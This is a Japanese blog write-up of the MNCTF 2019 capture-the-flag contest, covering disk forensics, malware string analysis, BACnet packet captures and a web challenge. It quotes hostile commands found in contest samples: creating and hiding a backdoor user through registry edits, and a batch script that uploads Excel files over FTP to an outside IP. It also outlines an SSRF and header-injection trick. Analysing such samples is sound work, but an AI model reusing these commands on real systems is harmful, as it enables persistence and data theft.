Unleash the Beast!

CTFなどのメモに使います

MNCTF 2019 WriteUp

昨年に引き続き、MNCTF 2019@Macnica Networks DAY(@東京コンファレンスセンター・品川)に参加してまいりました

結果としては11問中6問を解き、321ptsで12位でした。

昨年は14位だったので、順位は2つUP⤴⤴

このままいくと6年後には優勝できます。

 

昨年は14問中10問を解きましたが、今年は簡単な問題が減って難易度高めの問題が多くなったかな?という感じでした。

※フォレンジッカー以外の参加を想定しているのであれば、もう少しレベル低めの問題を残してもよかった気がします。

 

個人的には、解けた人数の多い問題はソツ無く解きましたが、やはり上位進出するためには回答者の少ない問題を解ける発想力が必要だと感じました。

 

さて、公式のWriteUpもすぐに出るかもですが、私なりの解法や躓いた点を記録しておこうと思います。

解けた問題はタイトルに★をつけてます

 

f:id:imurasheen:20190704235102p:plain

 

 

【練習問題★】1pts

f:id:imurasheen:20190704235229p:plain

点呼です。フラグは MNCTF

 

【悪意部品】100pts

f:id:imurasheen:20190704235434p:plain

解けませんでした。

問題中にあるPLEADの暗号化手法について記載されているページはこちら

https://blogs.jpcert.or.jp/ja/2018/05/linopid.html

こちらのページの記載に従うと、RC4キーは20hバイト(=32バイト)となっています。

これに従い、CyberChefのRC4オペレーションを使って復号を試みたのですが、うまくいかないまま時間を溶かすこととなってしまいました。

 

WriteUpを聞くと、この問題のRC4キーは20バイトだったそうです。

キー長は疑わなかった。。。

 

【標的攻撃I★】80pts

f:id:imurasheen:20190704235926p:plain

仮想マシンのディスクイメージ(vmdkファイル)が渡されます。

条件反射でFTK Imagerに食わせます。

 

f:id:imurasheen:20190705000216p:plain

[root]の直下に削除されたファイル(a.EXE)が見つかります。これが怪しいでしょう。

右クリックメニューからExport Files...を選択し、出力したファイルのMD5ハッシュを求めます。

フラグは 5680A78AD0714D501F1A66215F509DFD

 

【標的攻撃II★】60pts

f:id:imurasheen:20190705000545p:plain

取り出したa.EXEが難読化されていないことを祈りつつ、プログラムの文字列を抽出します。

私の解析環境はFLARE VM(https://github.com/fireeye/flare-vm)を導入しているんですが、ファイルの右クリックで開くメニューにStringsが入っており便利です。

f:id:imurasheen:20190705000812p:plain

難読化されてません。

文字列を眺めると、以下のコマンドが見つかります。

/c net user /add SUPPORT_388945a1 @Abc123456

コマンドプロンプトでユーザを追加するコマンド列のようです。

追加されているユーザがフラグなので、フラグは SUPPORT_388945a1

 

【標的攻撃III★】60pts

f:id:imurasheen:20190705001155p:plain

最初は違う問題でしたが、内容がIVとかぶっていたので途中で差し替えられました。

上記のユーザ名(SUPPORT_388945a1)から攻撃者グループを突き止める、とのことなので、おそらくユーザ名がIoCとなるのでしょう。

「SUPPORT_388945a1」で検索すると、以下のブログが見つかります。

http://blog.macnica.net/blog/2019/04/oceanlotus-218a.html

フラグは OceanLotus

 

【標的攻撃IV★】60pts

f:id:imurasheen:20190705003446p:plain

通常、作成したローカルユーザはWindowsのログイン画面で表示されますが、この問題で求められているレジストリを設定することで追加したユーザをログイン画面から隠すことができる。つまり、怪しいユーザの作成を被害者から隠す操作です。

 

先ほどの標的攻撃IIのStringsの結果を見ると、いくつかレジストリ作成エントリが見えます。

/c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f && reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SUPPORT_388945a1 /d 0 /t REG_DWORD /f && reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v forceguest /t REG_DWORD /d 0 /f && net accounts /MaxPWAge:unlimited

 


この中でHKLMから始まる文字列を手あたり次第入れることにします笑

 

ということでフラグは以下

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList

 

【建屋制御I★】60pts

f:id:imurasheen:20190705004218p:plain

制御系の問題。

ハンズオン解説で聞いた仕様は以下の通り

*****************************************

中央監視システム(Ethernet上)
このシステムから、非Ethernetに配置された制御装置に接続されている
空調コントローラ4台と照明コントローラ1台が接続されている
空調コントローラ1⇒1F事務室
照明コントローラ1⇒1F工場
空調コントローラ2⇒1F工場
空調コントローラ3⇒2F会議室
空調コントローラ4⇒2F社長室

独自プロトコルで通信は実装されている:BACnet

制御装置に対するリクエスト:Confirmed-REQ
上記に対する応答:Complex-ACK 

*****************************************

プロトコルを詳細に理解する問題は(時間的に)出ないだろうと思われるので、ヒントを元に検索してみる。

※WriteUpまで聞いた後だと、さすがに少しは理解した方が捗ると思うし、実際に業務で利用する際は一度は仕様を見ておくべきだと思いました。

与えられたpcapファイルを開き、検索機能で"location"という文字列を検索してみる。

それっぽい文字列が見つかる

f:id:imurasheen:20190705005152p:plain

フラグは 1F_factory

 

【建屋制御II】80pts

f:id:imurasheen:20190705005335p:plain

時間内には解けませんでした。

解けなかった理由は、Wiresharkの検索機能で検索対象に「パケット一覧」を選択していたため。「パケット詳細」を選択するのが正解。

ヒントとしては、時刻帯。11:06(UTC)とあるが、Wireshark上は+9時間となるので20:06あたりに取得された温度が対象。

が、どのパラメータに温度が入っているか分からないので、手あたり次第それっぽい数字を探すことにする。

セロリの生育温度なので、そんなに高いor低いということは無いはず。

まずは"20."~"29."を検索してみたが、時刻条件にマッチせず。

"19."で検索したところ、20:06:52の程よい時刻にヒット。これがフラグ。

※本来なら、IDなどから装置のIPアドレスを特定する、という理論的な回答をするべき

f:id:imurasheen:20190705010502p:plain

フラグは 小数点5桁までなので 19.70611

 

【情報漏洩I】100pts

f:id:imurasheen:20190705010630p:plain

※時間内に解けず

上位陣との差はこの問題を解ける知識の広さ+発想だと感じました。

難読化されたbatファイルa.batが与えられる。
%P%@%r%e%I%c%g%h%E%o%R% %I%o%y%f%J%f%L%
のように%で区切られた文字が続いている
URLエンコードのような難読化?とミスリードされるが、これはbatファイルなので
%*%となっている文字列は変数として扱われる
⇒定義されていないので、空文字列になる

よって、%*%の文字列は削除してしまえばいい。

SAKURAエディタで正規表現の置換を行う
%.%を空文字列に変換すると以下のデータが得られる

※if文の条件が若干間違っているが、問題の解答可否には影響なし

***************************************************


@echo off
REM TOOL NAME: XLS_Stealer_w00fw00f
REM AUTHOR: @Sh1n0g1
REM COMMENT: This is a part of MNCTF2019, not a real malware.

if A%USERDOMAINJkjNCIMZMscrSkoGFOOM%
echo open 157.7.53.197> temp.txt
echo P455w0rd>> temp.txt
REM Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
echo ftp-user>> temp.txt
echo bin>>temp.txt
REM Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
echo mput *.xls*>>temp.txt
echo quit>> temp.txt

REM Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
ftp -i -s:temp.txt
del temp.txt

 **************************************************

この問題で求められているのはツール名なので、

フラグは XLS_Stealer_w00fw00f

 

【情報漏洩II】100pts

f:id:imurasheen:20190705011253p:plain

※問題の不備があり、ダウンロードに成功しても文書が開けず回答不可の問題でした

情報漏洩Iで出てきたbatファイルは、無駄な内容が多い。

無駄な部分を削除すると、攻撃者の行動は以下のようになる。

************************************************

echo open 157.7.53.197> temp.txt
echo P455w0rd>> temp.txt
echo ftp-user>> temp.txt
echo bin>>temp.txt
echo mput *.xls*>>temp.txt
echo quit>> temp.txt

ftp -i -s:temp.txt
del temp.txt 

************************************************

FTPで157.7.53.197に接続し、侵入したフォルダにある"*.xls*"にマッチする名称のファイルをすべてアップロードしている。

よって、これを裏返して"*.xls*"を取得する処理を記述してあげればいい。

 mputをmgetに入れ替えればいい。

************************************************

echo open 157.7.53.197> temp.txt
echo P455w0rd>> temp.txt
echo ftp-user>> temp.txt
echo bin>>temp.txt
echo mget *.xls*>>temp.txt
echo quit>> temp.txt

ftp -i -s:temp.txt
del temp.txt 

************************************************

結果として、顧客情報マスタ.xlsがダウンロードされる。

 

【暗唱保護】100pts

f:id:imurasheen:20190705012129p:plain

※唯一、競技中に誰も解けなかった問題でした。(問題不備を除く)

昨年弊社の某氏が「なんでWeb問無いんやゴラ」と暴れたので追加されたと個人的に予想している問題。

 

たどり着いた時点であまり時間が掛けられなかったのでほとんど触れず、でした。

WriteUpを簡単にまとめると

(1)パスワードが閲覧できるpassword.phpにはリモートからは接続できない

(2)サイト上には接続チェック用ページ(webchecker.php)がある

 サイトへ接続し、成功したらページの一部だけを表示する。

(3)webchecker.phpで"localhost"をドメインに指定してpassword.phpに接続すれば、接続は成功する。

   ただし、見えるのは"Admin page"の文字列だけ

⇒改行コードまでを表示しているのではないかと想定し、HTTPヘッダインジェクションでRangeヘッダを用いて改行コード以降を表示させればフラグが取得できる。